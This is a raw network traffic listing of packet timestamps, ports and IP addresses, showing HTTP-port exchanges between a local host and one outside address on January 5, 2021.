Jan 5, 2021 19:05:23.040862083 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040884972 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.040887117 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040910006 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.040915966 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040939093 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040956020 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.040973902 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.040985107 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.041021109 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.041042089 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.041045904 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.041052103 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.041079998 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.041083097 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.041106939 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.041115046 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.041136026 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.041143894 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.041168928 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.041177034 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.041198015 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.041217089 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.041232109 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.041287899 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.092506886 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.092581987 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.092650890 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.092700958 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.092710972 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.092732906 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.092741966 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.092746973 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.092806101 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.092808962 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.092823982 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.092847109 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.092895985 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.092904091 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.092922926 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.092943907 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.092972040 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.092998028 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.093000889 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.093035936 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.093075037 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.093092918 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.093121052 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.093130112 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.093161106 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.093183994 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.093185902 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.093225002 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.093261957 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.093281031 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.093298912 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.093318939 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.093333960 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.093374968 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.093375921 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.093460083 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.093480110 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.093533039 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.093560934 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.093584061 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.093586922 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.093640089 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.093658924 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.093687057 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.093713999 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.093744993 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.093745947 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.093780041 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.093818903 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.093837976 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.093838930 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.093873978 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.093921900 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.093929052 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.093939066 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.093966961 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.093997002 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.094022989 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.094027042 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.094068050 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.094100952 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.094125986 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.094125986 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.094161034 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.094192028 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.094213963 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.094216108 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.094249010 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.094289064 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.094304085 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.094320059 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.094351053 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.094413996 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.094481945 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.094494104 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.094518900 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.094561100 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.094571114 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.094575882 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.094609022 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.094640017 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.094661951 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.094670057 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.094703913 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.094748020 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.094758987 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.094790936 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.094790936 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.094805956 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.094841957 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.094851017 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.094892025 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.094926119 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.094948053 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.094959974 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.094983101 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.095021009 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.095037937 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.095041037 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.095074892 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.095108032 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.095132113 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.095135927 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.095168114 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.095202923 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.095232964 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.095232964 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.095278025 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.095308065 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.095333099 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.095335960 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.095370054 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.095400095 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.095426083 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.095431089 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.095462084 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.095503092 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.095518112 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.095525980 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.095554113 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.095587969 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.095617056 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.095618010 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.095657110 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.095695019 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.095710039 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.095712900 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.095741034 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.095777988 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.095779896 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.095802069 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.095814943 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.095834017 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.095839977 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.095865011 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.095868111 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.095894098 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.095911026 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.095927954 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.095952034 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.095971107 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.096009970 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.096014023 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.096041918 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.096081972 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.096097946 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.096113920 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.096134901 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.096163988 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.096191883 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.096194029 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.096226931 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.096262932 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.096291065 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.096292019 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.096329927 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.096360922 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.096386909 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.096396923 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.096422911 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.096457005 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.096478939 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.096479893 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.096514940 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.096544981 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.096566916 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.096574068 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.096605062 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.096632957 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.096654892 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.096657038 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.096684933 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.096721888 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.096730947 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.096749067 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.096754074 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.096784115 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.096786022 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.096810102 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.096823931 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.096843004 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.096847057 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.096872091 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.096878052 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.096909046 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.096919060 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.096934080 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.096947908 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.096980095 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.096983910 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097001076 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097009897 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097023010 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097048044 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097052097 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097071886 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097110033 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097112894 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097127914 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097134113 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097167015 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097179890 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097196102 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097208977 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097244024 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097244978 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097263098 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097270966 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097292900 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097309113 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097332954 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097337008 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097357988 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097373962 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097404003 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097424030 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097445965 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097465038 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097501040 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097542048 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097542048 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097553015 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097568989 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097604990 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097609043 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097624063 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097634077 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097634077 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097670078 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097687006 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097704887 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097707033 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097723961 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097742081 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097745895 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097776890 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097776890 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097811937 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097820997 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097830057 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097841978 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097861052 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097867012 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097872019 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097893000 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097918987 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.097939968 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097958088 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097965002 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.097970963 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.149004936 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.149066925 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.149108887 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.149133921 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.149171114 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.149195910 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.149231911 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.149256945 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.149271011 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.149293900 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.149302006 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.149307966 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.149312973 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.149317026 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.149322033 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.149326086 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.149329901 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.149329901 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.149363041 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.149370909 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.149395943 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.149430037 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.149431944 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.149465084 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.149491072 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.149504900 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.149528980 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.149533987 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.149550915 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.149552107 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.149588108 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.149604082 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.149614096 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.149627924 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.149660110 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.149666071 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.149682045 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.149689913 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.149724960 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.149725914 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.149744034 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.149750948 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.149779081 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.149787903 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.149811983 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.149811983 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.149838924 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.149849892 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.149876118 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.149877071 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.149899960 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.149923086 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.149940014 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.149951935 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.149988890 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.149991035 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.150013924 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.150028944 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.150047064 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.150052071 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.150077105 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.150079966 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.150113106 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:23.150116920 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:23.150139093 CET	80	49167	83.172.144.37	192.168.2.22
